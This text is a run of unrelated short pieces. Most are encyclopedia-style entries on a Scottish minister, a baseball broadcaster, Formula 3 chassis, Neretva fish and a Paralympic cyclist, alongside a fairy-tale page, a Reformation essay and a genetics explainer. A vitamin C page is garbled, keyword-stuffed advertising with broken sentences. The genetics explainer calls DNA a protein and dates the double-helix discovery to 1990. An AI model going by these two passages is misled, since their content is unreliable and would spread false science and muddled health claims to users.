The University of Glasgow awarded him an honorary doctorate (DD) in 1842. In 1843 he moved to St Mary's (Bellevue) Church in Edinburgh, in place of Rev Henry Grey who had left to join the Free Church in the Disruption of 1843. He stayed at Bellevue until retiral in 1871. During this period he was chosen as Moderator of the General Assembly of the Church of Scotland in 1854. The University of Oxford awarded him an honorary doctorate Doctor of Civil Laws (DCL) during his period as Moderator. He then lived at 11 Northumberland Street in Edinburgh's Second New Town.
From 1843 to 1860 he was Collector of the Ministers' Widows Fund and Director of the Scottish Widows Fund Assurance society from 1849 to 1890. From 1849 he was Caplain of the Highland and Agricultural Society of Scotland and Secretary of the Scottish Bible Society 1836 to 1874.
In 1851 he had been elected a Fellow of the Royal Society of Edinburgh, his proposer was John Russell.
He resigned in 1871 and was replaced at St Mary's Bellevue by Rev Cornelius Giffen.
He died on 28 July 1890. He is buried in Warriston Cemetery with his wife. Their son is buried alongside.
Family
In April 1826 he married Jessie Anne Campbell (d.1881) youngest daughter of Colin Campbell of Achindoon in Argyleshire, and widow of Major Archibald Campbell of Braglen. They originally set up home at 3 Cassels Place in Leith, the harbour district of Edinburgh. The house forms part of the Georgian terrace at the foot of Leith Walk. Their children included:
* Agnes Willis Grant (1828-1855)
* Andrew Grant (MP) (1830–1924)
* Colin Campbell Grant WS (1830-1902) twin of Andrew.
* Captain James Grant RN (1833-1909)
* George Grant (1834-1848)
* Margaret Campbell Grant (1836-1906)
* Archibald Duncan Grant HEICS (b.1839)
Other roles of note
* Honorary Chaplain of the Highland Society (1828)
* Chaplain of the Highland and Agricultural Society (1840–1890)
* Honorary Chaplain (Pontifex Maximus) of the Harveian Society of Edinburgh (1844–1890)
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Ernie Johnson Sr.
Ernest Thorwald Johnson Sr. (June 16, 1924 – August 12, 2011) was an American professional baseball player and television sports color commentator. He played in Major League Baseball as a right-handed pitcher between 1950 and 1959. He played the majority of his career with the Boston Braves and remained with the team when they became the Milwaukee Braves in 1953. Johnson was a member of the world champion 1957 Milwaukee Braves. He played his final season with the Baltimore Orioles. After his playing career, he became a longtime television color commentator on the TBS television network. In 2001, Johnson was inducted into the Atlanta Braves Hall of Fame. He is the father of Inside the NBA sportscaster Ernie Johnson Jr.
Baseball career
After serving three years in the U.S. Marine Corps, Johnson made his major league debut in relief on April 28, 1950, against the Philadelphia Phillies at Shibe Park. His first big league win was also in relief, coming against the New York Giants on June 30, 1950, at the Polo Grounds.
Johnson led Western League pitchers with a .750 winning percentage while playing for the Denver Bears in 1949. He spent part of 1950 in the Eastern League and all of 1951 in the American Association before returning to the major leagues for good in 1952. He led American Association pitchers with a .789 winning percentage and an ERA of 2.62 while playing for the Milwaukee Brewers in 1951. He started 10 games for Boston in 1952 and then appeared almost exclusively in relief thereafter.
From 1953 to 1957, the first five years that the Braves were in Milwaukee, Johnson made 175 relief appearances, an average of 35 per season.
Playing for the 1957 World Series Champion Braves, Johnson had a 7–3 record and four saves in 30 games. In three World Series appearances against the New York Yankees that October he gave up only one run and two hits and one walk in seven innings, but it happened to be a game-winning home run by Hank Bauer in the seventh inning of Game 6.
In nine seasons, Johnson had a losing record only once (1955) and had an overall winning percentage of .635. Career totals include a record of 40–23 in 273 games, 19 games started, three complete games, one shutout, 119 games finished, 19 saves, and an ERA of 3.77.
Broadcasting career
Following his playing days Johnson was a longtime color commentator and play-by-play broadcaster on Braves radio and television, working from 1962 to 1999. He became an icon in Atlanta after the team moved there in 1966, and in the 1980s gained national exposure through his work with Skip Caray and Pete Van Wieren on "Superstation" TBS. He was elected to the Braves' Hall of Fame on August 24, 2001. His son, Ernie Johnson Jr., worked with him on SportSouth telecasts from 1993 to 1996. The broadcast booth at Atlanta's Truist Park bears his name. In 2014, Johnson was inducted into the Vermont Sports Hall of Fame.
Death
Johnson died on August 12, 2011, after a long illness.
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Dinners Ready
Dinners Ready was a franchised meal preparation business based in Mukilteo, Washington, United States. The company was founded by Brad Vorhees and Scott Farrar in 2003. Vorhees left the company in 2005. Mr. Farrar was named one of Seattle's top 25 innovators of 2006 by the Seattle Business Monthly. Dinners Ready was located in the Seattle area. Dinners Ready was part of the food industry referred to as meal assembly, where customers can visit a local preparation kitchen and assemble meals to freeze and cook at home. The Dinners Ready model evolved to be predominantly delivery-only. The meals serve two, four, or six people and come complete with side dishes. There were twenty meal choices, with the menu changing each month.
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María de Jesús Velarde
María de Jesús Velarde (9 April 1925 – 9 March 2021) was a Spanish nun. She was the founder of the religious institute "Hijas de Santa María del Corazón de Jesús".
She was born as Cristina Ana María Velarde Gil in Santander to a wealthy and deeply religious family. Her parents, Calixto Velarde Gómez and Prudencia Gil de Lamadrid, had four children, the youngest of whom was María de Jesús.
The family moved to Madrid (1932-1937) and later to Barcelona, where Cristina Ana María studied the Bachillerato, and graduated at the age of twenty-six from the Faculty of Philosophy and Letters at the University of Barcelona, obtaining the Extraordinary Prize (6 June 1951).
She began her novitiate in the Congregation of the Daughters of Our Lady of the Sacred Heart in Sant Cugat del Vallés. She arrived at the novitiate at the age of twenty-six, and there she made temporary profession on 25 August 1953, taking the religious name of Sister Maria de Jesus. Three years later she took her perpetual vows.
María de Jesús Velarde died in Galapagar on 9 March 2021, aged 95.
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March 783/793
The March 783 and March 793 are open-wheel Formula 3 race car chassis, designed, developed, and built by March Engineering between 1978 and 1979. They are very similar in design, with the 793 essentially being a ground effect version of the 783; with lower side pods and skirts. Between them, they won a total of 24 races, including three non-championship races in 1979, with Kenny Acheson. The 793 chassis in particular was extremely successful, and completely dominated the 1979 season, with Brazilian Chico Serra clinching the 1979 British Formula Three Championship, after winning 5 out of the 20 races. Italian Andrea de Cesaris was runner-up, placing second in the championship; having also won 5 races with the March 793. New Zealander Mike Thackwell placed third in the championship, having won 4 races with the March 793 chassis. They were powered by either a Toyota or Triumph four-cylinder engine.
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Charles H. Weber
Charles H. Weber (October 5, 1923 – 1989) was an American politician. He served as a Republican member for the 30th and 37th district of the Florida Senate.
Life and career
Weber was born in Detroit, Michigan. He attended the University of Detroit, the University of Minnesota and the American University in France.
In 1967, Weber was elected to represent the 37th district of the Florida Senate, serving until 1972. In the same year, he was elected to represent the 30th district, serving until 1974.
Weber died in 1989 of cancer, at the age of 65.
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How is vitamin c manufactured
The USDA has reported that the nutrient content of vegetables has fallen since So, although it may not be possible to find out the geographic origin of the ingredients in a supplement, you can use our information to find out if a product provides what it claims and what you want.
Bacterial fermentation This includes nutrients produced by genetically altering bacteria. The effect of vitamin C on the common cold has been extensively researched. One found a weak association between vitamin C consumption and reduced risk, and the other found no effect from supplementation.
The Vitamin C Foundation recommends only two forms of vitamin C orally: When it comes to the common coldvitamin C may not be a cure. Most dietary supplements sold in the U. What do supplement companies say?
Work with our graphic design department to create an eye-catching label and packaging design for your product so that it stands out on the shelves. How vitamins are made by Ryan, age 8 People that use vitamin supplements likely start with good intentions.
The researchers noted that the effect of vitamin C supplementation appeared to be dependent on health status, with stronger effects in those at higher risk of cardiovascular disease. J Chem Tech Biotechnol ; However, taking vitamin C in the form of sodium ascorbate and calcium ascorbate may minimize this effect.
Information on Vitamin Manufacturing
The American Dietetic Association ADA recommends that the best nutritional strategy for optimal health and reducing the risk of chronic disease is to choose a wide variety of whole foods.
How can I find out where a vitamin or supplement is made and where its ingredients come from, such as China or the USA? If you are interested in avoiding supplement contaminants, look for the NSF logo. Most standard vitamin supplements on the market today are this type.
Poison hemlock, hallucinogenic mushrooms, rhubarb leaves and sprouted kidney beans are all natural — and potentially deadly.
The Benefits of Vitamin C
There is no requirement for labels on supplements to indicate the country of origin of ingredients. In these, vitamin C did not impact duration or severity.
Many people use the terms "vitamin C" and "ascorbic acid" interchangeably. Do vitamin supplements prevent disease? For easier swallowing, take with water before and during ingestion. The endothelium is a layer of cells that line the interior surface of blood vessels.
In addition to manufacturing vitamins, NutraScience Labs eliminates the hassles associated with bringing a product to market by offering you the following suite of services and capabilities "under one roof": Now, to get a natural vitamin B1 supplement the process is quite different.
Powder versus Capsules Pure vitamin C powder is the form of the vitamin that we approve. What are the benefits of vitamin C?Vitamin C, also known as ascorbic acid and L-ascorbic acid, is a vitamin found in food and used as a dietary supplement.
The disease scurvy is prevented and treated with vitamin C-containing foods or dietary supplements. Evidence does not support use in the.
All About Where Vitamin Supplements Come From
Vitamin Manufacturing Manufacture a pure vitamin / mineral formula, custom 4-Week Manufacturing Time · Low Pricing on Softgels. Vitamin C is an antioxidant that helps support the immune system and helps neutralize free radicals in the body.
† Additionally, vitamin C is necessary for the body to manufacture collagen, which is important for healthy skin.
Nature Made Vitamin C mg is ideal for those looking to supplement their diet, if it is low in fruit and vegetables, to meet daily vitamin C nutrient needs.
But the benefits of vitamin C may include protection against immune system deficiencies, cardiovascular disease, prenatal health problems, eye disease, and even skin wrinkling. Vitamin C –A Natural Antioxidant Concept: Vitamin C (ascorbic acid) is an antioxidant. The amount of vitamin C content in food can be found out by titrating with an oxidising agent, e.g.
iodine. In the reaction, vitamin C is oxidised, while iodine is reduced to iodide ions. A Vitamin Manufacturer Source That Delivers Exceptional Products and Services Our team of knowledgeable Production Specialists will work with you every step of the way to create a custom product from the ground up or update your existing formula to maximize your sales.
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Page:Russian Wonder Tales.djvu/39
Rh this time he set a strong guard about the Palace, with strict command to allow no one whatever to go in or out. When he had been absent six months, two more babes were born to the Tzaritza—sons of a loveliness that is known only in a tale, with legs golden to the knee, arms silver to the elbow, and with little stars in their hair. And the Tzaritza, deeming herself safe by reason of the guard about the Palace, bade them peal all the bells for joy.
Hearing the rejoicing, the sisters guessed what had occurred, and sent at once for the Baba-Yaga, who by a witch's charm caused a deep sleep to fall upon all the guardsmen so that each slumbered where he stood, and she herself entered the Palace. When the Tzaritza saw her, however, she hid one of the babes, whom she had named Guidon, in her sleeve, so that the Baba-Yaga, though she carried away the other, did not see it. In place of the babe, the old witch left a piece of wood, and the sisters, as before, bribed the attendants, and sent a messenger to the Tzar to say: "Thy Tzaritza, our sister, who boasted that she would bear thee sons of gold and silver, hath borne thee now neither son nor daughter, neither is it a frog nor a snake, but a little log of wood."
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Themes
What is genetics?
We explain what genetics is, what its history is and why it is so important. In addition, what is human genetics and genetic inheritance.
1. What is genetics?
Genetics is a branch of biology that studies how physical characteristics and traits are transmitted from one generation to another . To understand this inheritance, examine the genes found in the body’s cells and that have a special code called DNA (deoxyribonucleic acid). This code determines the physical appearance and the probability of contracting certain diseases.
Genes function as storage units and contain instructions on how cells must function to form proteins . These proteins are what give rise to all the characteristics of the individual. DNA is a protein that controls the structure and functioning of each cell and has the ability to create exact copies of itself. The RNA (ribonucleic acid) is a molecule that performs the function of messenger DNA information.
1. History of genetics
Cells - chromosome - genetics
In 1910 the base of the chromosomes found in each cell was discovered.
Genetics is a science of the twentieth century (named in 1906 by William Bateson) that began with the rediscovery of the “laws of Mendel.” Certain conceptual advances of the 19th century were key to later genetic thinking, for example:
• 1858. The German Rudolf Virchow introduced the principle of continuity of life by cell division and established the cell as a unit of reproduction.
• 1859. The British Charles Darwin presented his theory “The Origin of Species”, in which he maintains that existing organisms come from beings that existed in the past and that went through a process of gradual descent, with certain modifications.
• 1865. The Czech Gregor Mendel, today considered the founder of genetics, established the “Mendel laws” which consisted of the first basic rules on the transmission of inheritance patterns, from parents to their children. In those times his work was ignored.
• 1900-1940. period of “classical genetics”. Genetics emerged as their own independent science with the rediscovery of the “laws of Mendel.”
• 1909. The Danish Wilhem Johannsen introduced the term “gene” to refer to the hereditary factors of Mendel’s investigations.
• 1910. Thomas Hunt Morgan and his group at Columbia University discovered the basis of the chromosomes found in each cell.
• 1913. Alfred Sturtevant outlined the first genetic map showing the location of genes, among other important features.
• 1930. It was confirmed that hereditary factors (or genes) are the basic unit of both functional and structural inheritance and that they are located on chromosomes.
• 1940-1969. The DNA protein was recognized as the genetic substance and RNA as the messenger molecule of genetic information. Progress was also made in the knowledge of the structure and functions of chromosomes.
• 1970-1981. During this period the first DNA manipulation techniques emerged and the first artificially conceived mice and flies were obtained by genetic engineering with DNA mixing from other organisms.
• 1990. Lep-Chee Tsui, Francis Collins and John Riordan found the defective gene that, when mutated, is responsible for the inherited disease called “cystic fibrosis.” James Watson and Francis Crick, along with other collaborators, launched the “human genome” project and discovered the double helix structure of the DNA molecule.
• 1995-1996. During the years of the scientific and social revolution, Ian Wilmut and Keith Campell managed to capture the complete sequence of a genome and obtained the first cloned mammal from mammary cells. It was the Dolly sheep, who was not born from the union of two cells (an egg and a sperm cell) but came from a mammary glandular cell of another sheep that was no longer alive.
• 2001-2019. During this period, considered the “century of genetics”, the human genome project was successfully completed and reached 99% of the sequenced genome. This result gave rise to a new era of genetic research that offered relevant contributions to biology, health and society .
1. Importance of genetics
Genetics is a science that studies the transmission of the inherited characteristics of an organism , and its trajectory shows that it is a science of exponential growth. Their contributions on the evolution of the species and on giving solutions to congenital problems or diseases are their greatest advantage despite the fact that some experiments go hand in hand with controversies at an ethical and philosophical level, such as the cloning of animals.
1. Human genetics
Human genetics
Genes determine the growth, development and functioning of the organism.
Human genetics examines biological inheritance in humans through cells that are small living units that make up muscles, skin, blood, nerves, bones, organs and everything that makes up an organism . The humans arising from the union of two cells, an egg and a sperm, forming a new cell called “zygote” which is divided successively to form a baby with all its features and characteristics.
The human being has about 30,000 genes that contain the instructions that determine the growth, development and functioning of the organism. The genes are distributed in 23 pairs of chromosomes (or 46 chromosomes in total) within the cells. Chromosomes are structures that contain DNA and RNA, that is, they have a sequence of chemical information that determines how the morphology and functioning of the organism will be.
1. Genetic heritage
The genetic inheritance is the transmission, through the existing information in the nucleus of the cells , of the anatomical, physiological or other characteristics, of a living being to its descendants. In order to know the genetic inheritance, the origin of the similarities between the members of the same family is not enough, but it is necessary to contemplate the genetic epidemiology (diseases of the ancestors) and the environment in which an individual interacts. The transmission of genetic material has the following characteristics:
• Genotyped . It is the set of all the transmissible information that genes contain.
• Phenotype It is any visible characteristic presented by an individual (physical or behavioral) determined by the interaction between the genotype and the environment.
• Meiosis . It is one of the forms of cell division typical of
reproductivecells, in which a union or zygote of two cells (an ovule and a sperm cell) occurs.
• Mitosis . It is the cell division that results in two new cells with the same amount of chromosomes, that is, the same genetic information respectively.
• Mutation . It is the variation that occurs in the genotype of an individual and can be spontaneous or induced by genetic muta agents, which take place in the DNA.
1. Types of genetic inheritance
genetic inheritance - chromosome and
Men can only pass their Y chromosome to their male children.
There are different types of genetic inheritance that depend on discrete units called “genes.” Humans have 23 pairs of chromosomes , one from the mother, and another from the father. Chromosomes are structures that contain genes and where there may be different forms of the same gene called “alleles.”
For example, in the eye color gene , an individual may inherit an allele from the father that determines that the eyes are blue and inherit a different one from the mother that indicates that the eyes are green. Therefore, the eye color of the individual will depend on the combination of alleles of the same gene . From this example, you can better understand the different types of genetic inheritance that are developed below.
• The dominant-recessive inheritance. It occurs when one of the alleles dominates over another and its features are dominant.
• The incomplete dominant inheritance. It occurs when neither of the alleles dominates the other, so the trait in the offspring is a mixture of both alleles.
• The poly genetic inheritance. It happens when an individual characteristic is controlled by two or more pairs of genes and is expressed in the form of small differences. For example, the height.
• The inheritance linked to sex. It occurs when the alleles are in the sex chromosomes (they correspond to the pair number 23), which are represented by the sign “XY” in the male and “XX” in the female. Men can only pass their Y chromosome to their male children, so no X-linked trait is inherited from the father. Conversely, it happens with the mother who only passes her X chromosome to her female daughters.
1. Genetic variability
Mutation - DNA
The mutation is caused by any change in a DNA sequence.
Genetic variability is the modification of the genes of individuals of the same species that differ according to the population in which they live . For example, jaguars that inhabit Brazil are almost twice as large as those that inhabit Mexico, even though they belong to the same species. There are two main sources of genetic variation:
• The mutation It is produced by any change in a DNA sequence, both by an error in DNA replication and by radiation or environmental chemicals.
• The combination of genes. It is generated during the reproduction of cells and is how most inherited variations occur.
1. Genetic manipulation
Genetic manipulation, or also called “genetic engineering”, focuses on the study of DNA in order to achieve its manipulation . It consists of a series of laboratory methods that allow you to modify the inherited characteristics of an organism to isolate genes or DNA fragments, clone them and introduce them into other genomes so that they are expressed. For example, when new genes are introduced into plants or animals, the resulting organisms are called “transgenic.”
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Reformation Day commemorates Martin Luther’s action in nailing the Ninety-Five Theses to the church door at Wittenberg on October 31, 1517.
Just as consequential were the events that transpired a little over three years later.
In January 1521, Pope Leo X excommunicated Luther and called upon him to defend his beliefs before the Holy Roman Emperor at an Imperial Diet in Worms. When the Diet took place that April Luther, did not stroll into Worms a confident man. On the first day he was so intimidated his statements could hardly be understood. Luther had reason to be afraid, for there were plans to banish Luther from the empire (or worse) if he did not recant his books.
The interrogation was no short affair, but by the end Luther had summoned his courage, concluding with these famous words: “My conscience is captive to the Word of God. Thus I cannot and will not recant, for going against my conscience is neither safe nor salutary. I can do no other, here I stand, God help me. Amen.”
On May 26, 1521, the emperor rendered his decision. Luther was to be placed under “ban and double ban.” The Edict of Worms enjoined the men and women of the empire “not to take the aforementioned Martin Luther into your houses, not to receive him at court, to give him neither food nor drink, not to hide him, to afford him no help, following, support, or encouragement, either clandestinely or publicly, through words or works. Where you can get him, seize him and overpower him, you should capture him and send him to us under tightest security.”
Nevertheless Luther would live to see another day. . . .and another. . . .and another. . . .and another, managing escape from the imperial snare, sometimes quite dramatically. But Luther didn’t know any of that when he took his famous stand at Worms. What he did know was that he was willing to endure expulsion and face the gravest bodily harm for the sake of his conscience.
Read More Here: http://thegospelcoalition.org/blogs/kevindeyoung/2013/10/31/the-glory-of-the-reformation-a-clean-conscience/
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Annibale Bentivoglio
Annibale Bentivoglio may refer to:
* Annibale I Bentivoglio (1415–1445), absolute ruler of the Italian city of Bologna
* Annibale II Bentivoglio (1467–1540), Italian condottiero who was shortly lord of Bologna
* Annibale Bentivoglio (archbishop) (died 1663), Italian Roman Catholic archbishop
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Fish species of the Neretva basin
The fish fauna of the Neretva river basin in the western Balkans is representative of the Dinaric karst region and characterized by several endemic and endangered species.
Overall the Dinaric karst water systems support 25% of the total of 546 fish species in Europe. The river Neretva and its tributaries represent the main drainage system in the east Adriatic watershed and the foremost ichthyofaunal habitat of the region. The Adriatic basin has 88 species of fish, of which 44 are Mediterranean endemic species, and 41 are Adriatic endemic species. More than half of the Adriatic river basin species of fish inhabit the Neretva, the Ombla, the Trebišnjica, the Morača Rivers and their tributaries, and more than 30 are indigenous.
The degree of endemism in the karst ecoregion is greater than 10% of the total number of fish species. Numerous species live in very narrow and limited areas and are vulnerable, so they are included on the Red List of endangered fish of the IUCN. According to Smith & Darwall (2006) the Neretva River, together with four other areas in the Mediterranean, has the largest number of threatened freshwater fish species.
Habitat
The Neretva river with its many tributaries, lakes and marshes provides rich freshwater habitat for its native, as well as for introduced non-native fish species. There are deep canyon as well as wide valley sections with both fast flowing rapids with side-pools, and narrow sections with deep, still waters running slowly. The flowing water can be any combination of fast or slow, deep or shallow, open or protected by canyons, rocks, tree roots and undercut banks, and shaded by vegetation on the bank or exposed to full sunlight. This variation ensures that a relatively large number of fish species are able to find suitable habitat for themselves. Upper reaches of the Neretva basin (Upper Neretva), river with its tributaries runs undisturbed through remote and rugged limestone terrain with deep canyons and steep slopes gorges reaching from 600 to 1200 m in depth. River in these parts is extremely cold, clear and potable, consisting waters of "Class I" ("Class A") purity, with temperature often as low as 7–8 degrees Celsius in the summer months, evidence of almost certainly the coldest river water in the world. In the middle section of the watershed remoteness and ruggedness of the terrain gets even more extreme, especially around small river tributaries, mountain creeks and lakes, however the Neretva river itself is completely flooded throughout entire midsection with four large artificial lakes, and intersected with four large dams. More downstream in the lower reaches (Lower Neretva), the Neretva basin and the river itself comprise remarkable landscape, in which valley from the confluence of its main tributaries of the section, the Buna, the Trebižat and Bregava rivers, then spreads into an alluvial fan, covering more than 20,000 hectares, with specious flat plains or poljes, where water-flow is slow but abundant, with many branches often widened into natural lakes and marshes, and constantly replenished with much fresh water from numerous large karstic well-springs. Finally at the Neretva Delta, the river reaches the Adriatic Sea.
Autochthonous fishes
Autochthonous or native species of the Neretva basin fish are often endemic to the region. They are also often threatened or even critically endangered.
Salmonids
Salmonid fish from the Neretva basin show considerable variation in morphology, ecology and behaviour. The Neretva also has many other endemic and fragile life forms that are near extinction.
Among most endangered are three endemic species or varieties of the Neretva trout: Neretvan softmouth trout (Salmo obtusirostris oxyrhinchus, Neretvanska mekousna pastrmka), toothtrout (Salmo dentex, Zubatak, and marble trout (Salmo marmoratus, Glavatica. Genetic analyses of the trouts find little if any distinction between "Salmo dentex" and Salmo marmoratus of the Neretva basin, however.
All three endemic trout species of the Neretva are endangered mostly due to the habitat destruction or construction of large and major dams (large is higher than 15–20 m; major is over 150–250 m) in particular and hybridization or genetic pollution with introduced, non-native trout, also from illegal fishing as well as poor management of water and fisheries especially in form of introduction of invasive allochthonous species (dams, overfishing, mismanagement, genetic pollution, invasive species).
Cyprinids
As with the Neretva salmonids, the most endangered of cyprinids (family Cyprinidae) are endemic species. Especially interesting are four or five Phoxinellus (or Delminichthys and Telestes) (sub)species that inhabit isolated karstic plains (poljes) of eastern as well as western Herzegovina in Bosnia and Herzegovina, which eventually drain their waters to the Neretva watershed and/or coastal drainages of south-eastern Dalmatia in Croatia.
* Adriatic minnow (Phoxinellus alepidotus, Uklja, Pijurica), endemic to Bosnia and Herzegovina and Croatia, occurs in lowland water bodies, with little current. It is threatened due to pollution and habitat destruction. It is considered endangered.
* South Dalmatian minnow (Phoxinellus pstrossii, Trebinjska gaovica), which has recently been taxonomically fused with the Dalmatian minnow (see below).
* Dalmatian minnow (Delminichthys ghetaldii or Phoxinellus ghetaldii, Popovska gaovica) is considered vulnerable.
* Spotted minnow (Delminichthys adspersus or Phoxinellus adspersus, Gaovica) is endemic to Bosnia and Herzegovina and Croatia. This species is present in the Tihaljina River, which is fed by underground waters from Imotsko polje and is connected to the Trebižat River via the Mlada River, and also occurs in Mostarsko Blato wetlands. Fish were found in the source of the Norin River, a right-hand tributary of the lower Neretva at Metković, in Croatia, at Kuti Lake, a left-hand tributary of the lower Neretva, at Imotsko polje in Red Lake and the Vrljika River drainage and near Vrgorac in the Matica River system. It is considered vulnerable.
* Karst minnow (Telestes metohiensis or Phoxinellus metohiensis, Gatačka gaovica) is considered Vulnerable (VU).
* Turskyi dace (Telestes turskyi, Turski klijen) inhabits karstic waters, Lake Buško Blato in Bosnia and Herzegovina and the Krka and Čikola Rivers in Croatia. It occurs in water courses on the low plains, with little current and in lakes. It feeds on invertebrates. It is threatened due to water abstraction and pollution. It is considered Critically Endangered (CR).
* Minnow-nase (Chondrostoma phoxinus, Podbila) is considered Critically Endangered (CR).
* Neretvan nase, also Dalmatian nase and Dalmatian soiffe (Chondrostoma knerii, Neretvanska podustva) is endemic to the Neretva River basin. It is mainly distributed in the lower parts and delta of the Neretva River shared between Croatia and Bosnia and Herzegovina, the river's left tributary Krupa River, Nature Park Hutovo Blato wetlands, and Neretva Delta wetlands. It occurs in water bodies with little current. It is threatened by habitat destruction and pollution. It is considered Vulnerable (VU).
* Adriatic dace or Balkan dace (Squalius svallize, Strugač; Sval) is endemic to Bosnia and Herzegovina and Croatia, also to Montenegro and Albania. Adults inhabit water bodies on the low plains, with little current and in lakes. They feed on invertebrates. It is threatened due to pollution, habitat destruction and due to introduction of other species. It is considered vulnerable.
* Illyrian dace (Squalius illyricus, Ilirski klijen) inhabits karstic waters of Bosnia and Herzegovina, Croatia and Albania. It occurs in water courses on low plains, with little current. It feeds on invertebrates. It is threatened due to habitat destruction, pollution and the introduction of other species. It is considered Near Threatened (NT).
* Dalmatian barbelgudgeon (Aulopyge hugelii, Oštrulja) inhabits karstic streams of Glamocko polje, Livanjsko polje and Duvanjsko polje, lakes Buško Blato, Blidinje in Bosnia and Herzegovina and Cetina, Krka and Zrmanja river drainages in Croatia. It occurs in lentic waters, and feeds on plants. The fish is threatened by water pollution and habitat destruction. It is migratory in Livanjsko polje. It is considered endangered.
Cobitidae
Neretvan spined loach (Cobitis narentana Neretvanski vijun) is an Adriatic watershed endemic fish that inhabits a narrow area of the Neretva watershed in Croatia and Bosnia and Herzegovina. In Bosnia and Herzegovina it inhabits only the downstream of the Neretva River and its smaller tributaries like the Matica River. In Croatia it is a strictly protected species and inhabits only the Neretva delta and its smaller tributaries, the (Norin) and lake systems of the Neretva delta (Baćina lakes, Kuti, Desne, Modro oko. It is considered Vulnerable (VU).
Neretva delta endemics
The ichthyofauna of the Neretva delta is rich in endemic species, and there are more than 20 endemic species, of which 18 species are endemic species of the Adriatic watershed, and three endemic species in Croatia. Nearly half (45%) of the total number of species that inhabit this area are included in one of the categories of threat, and are mainly endemic species.
Pike-perch
The allochthonous pike-perch (Sander lucioperca, Smuđ) was observed in 1990 for the first time in the Rama River, a right tributary of the Neretva, and its Rama Lake. The population has been growing since then. This accords with the prediction by Škrijelj (1991, 1995) that pike-perch could spread from the Ramsko Lake to the Rama River and then further downstream. In 1990 the pike-perch population made up 1.95% of the fish population in Rama Lake. Within a decade this rose to 25.42% in the nearby Jablaničko Lake.
The fast pace of the pike-perch population growth and displacements in the Neretva River basin is expected to match the environmental conditions from the mid-ecological valence of this fish. In this sense, it is the established continuous and accelerated growth of the population dynamics of pike-perch in Jablaničko Lake, a relatively good representation in artificial Salakovačko Lake and the beginning of growth of population in the Grabovičko Lake. Parallel with the increase of population of pike-perch in the Neretva lakes is the obvious decrease in the quantity of indigenous species like the European chub (Squalius cephalus), and the disappearance of rare and endemic species like Adriatic dace (Squalius svallize), Neretvan softmouth trout (Salmothymus obtusirostris oxyrhinchus) and marble trout (Salmo marmoratus). If the migration and spreading continues other endangered and endemic species of the Neretva basin will be even more endangered.
The populations of the allochthonous pike-perch have visible negative effects on the autochthonous ichthyofauna in Jablaničko Lake; in the artificial Salakovačko Lake these effects are in progress and less visible. The effects of perch population in Grabovičko Lake are not yet clearly visible. Yet the perch population in the Neretva river “lakes” seems to be growing with a tendency of spreading across the Neretva river basin of the Adriatic Sea in Bosnia and Herzegovina.
On the basis of all relevant indicators it is necessarily to take urgent measures, continuous and organized action, to dramatically reduce the quantity (if is not possible to exterminate) of this allochthonous type of fish, as well as to attempt to revitalize autochthonal fish populations, with fish stocking of local, especially salmonids species, all in order to prevent the same fatal experience with the water ecosystem in the UK, and prevent, if possible, this type of allochthonous species colonization of the Neretva River basins with irreversible effects.
Invasive salmonids
Like in many rivers around Europe, there are some introduced salmonid fish species in the Neretva. Of these only grayling (Thymallus thymallus) established stable population so far, while the more harmful rainbow trout (Oncorhynchus mykiss) had lower survival rate and accordingly low population growth and small size. Brook trout (Salvelinus fontinalis) and lake trout (Salvelinus namaycush) have also recently been introduced to almost all of the Neretva basin reservoirs, but had only moderate to low success in establishing stable populations. At least for now populations of these invasive salmonids are rather weak. The largest threat, though, represent species much closers to indigenous Neretva's salmonids. It's a two variation of stocked Brown trout, Danube and Atlantic sub-species, that threatens survival of the Neretva Softmouth to certain extent but more significantly indigenous Neretva's Brown trout of Adriatic strain through cross-breading.
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Alexandra Lisney
Alexandra Lisney (née Green; born 2 July 1987) is an Australian rower and cyclist. She won a bronze medal in the Women's Individual Pursuit C4 at the 2012 Summer Paralympics. She represented Australian at the 2016 Rio Paralympics.
Personal
Green was born ten weeks premature on 2 July 1987 in Sydney, Australia. She has cerebral palsy that affects the left side of her body. , she lives in Sydney, Australia and was a student at the University of New South Wales, where she graduated with a Bachelor of Mechanical Engineering. She is employed as a structural engineer. She was married in September 2015.
Adaptive rowing
Lisney took up adaptive rowing in 2008 following an Australian Paralympic Committee talent search event. She went on to make the national team within one year of participating in the sport with her first appearance at the 2009 World Rowing Championships in Poland.
Cycling
Lisney is a C4 classified cyclist, and a member of Manly Warringah Cycling Club. She took up the sport in 2010. That year, at the NSW Track State Championships, she finished first in the C3 individual pursuit. She first represented Australia in 2011. Green won the bronze medal in the Women's Individual Pursuit C4 at the 2011UCI Para-cycling Track World Championships in Montichiari, Italy. At the 2011 Sydney hosted World Cup, she finished second in the women's 53.7 km C4 road race. In 2012, she participated in the UCI Para-cycling Track World Championships in Los Angeles, where she finished first in the C4 women's 3000m Individual Pursuit earning her a gold medal and the world champion's striped jersey. Alex also finished fourth in the 500m Time Trial and sixth in the C4/C5 women's scratch race.
She was selected to represent Australia at the 2012 Summer Paralympics in cycling. In the lead up to the Paralympics, she participated in the Blenheim Palace festival of cycling time trial event. At the 2012 Summer ParalympicsLisney participated in the Women's Road Race C4-5, Women's Time Trial C4, Women's 500m Time Trial C4-5 and Women's Individual Pursuit C4 – winning a bronze in the Individual Pursuit. Competing at the 2014 UCI Para-cycling Track World Championships in Aguascalientes, Mexico, she won a silver medal in the Women's Individual Pursuit C4.
At the 2015 UCI Para-cycling Road World Championships, Nottwil, Switzerland, she won the silver medal in the Women's Time Trial C4 and finished fifth in the Women's Road Race C4. At the 2016 UCI Para-cycling Track World Championships in Montichiari, Italy, she won the bronze medal in the Women's 3 km Individual Pursuit C4.
At the 2016 Rio Paralympics, she competed in four events. Her best results were fourth in the Women's Road Time Trial C4 and seventh in the Women's Road Race C4-5.
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User:Scholar bambino
Superstitions and mythology old and new of seeing really tiny pieces of paper that look seriously heaps like rabbits throughout history
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care_guidelines
CARE guidelines
The CARE guidelines were developed by an international group of experts to increase the accuracy, transparency, and usefulness of case reports. Since the 2013 and 2017 CARE publications in the Journal of Clinical Epidemiology, these guidelines have been endorsed by multiple medical journals/publishers and translated into multiple languages. Online training in writing case reports following the CARE guidelines is available from Scientific Writing in Health and Medicine (SWIHM)- https://www.swihm.com/
The CARE guidelines support the efforts of the Equator Network to improve the transparency and accuracy of health research reporting. Healthcare stakeholder groups that benefit when CARE informed case reports are written include:
Patients reviewing therapeutic options.
Clinicians engaging in peer-to-peer communication.
Researchers developing testable hypotheses from clinical settings (e.g. Driggers 2016).
Educators who have access to “real-world” examples supporting case-based learning.
Authors provided with guidance on writing accurate and transparent case reports.
Medical Journals supported in the evaluation and publication of case reports.
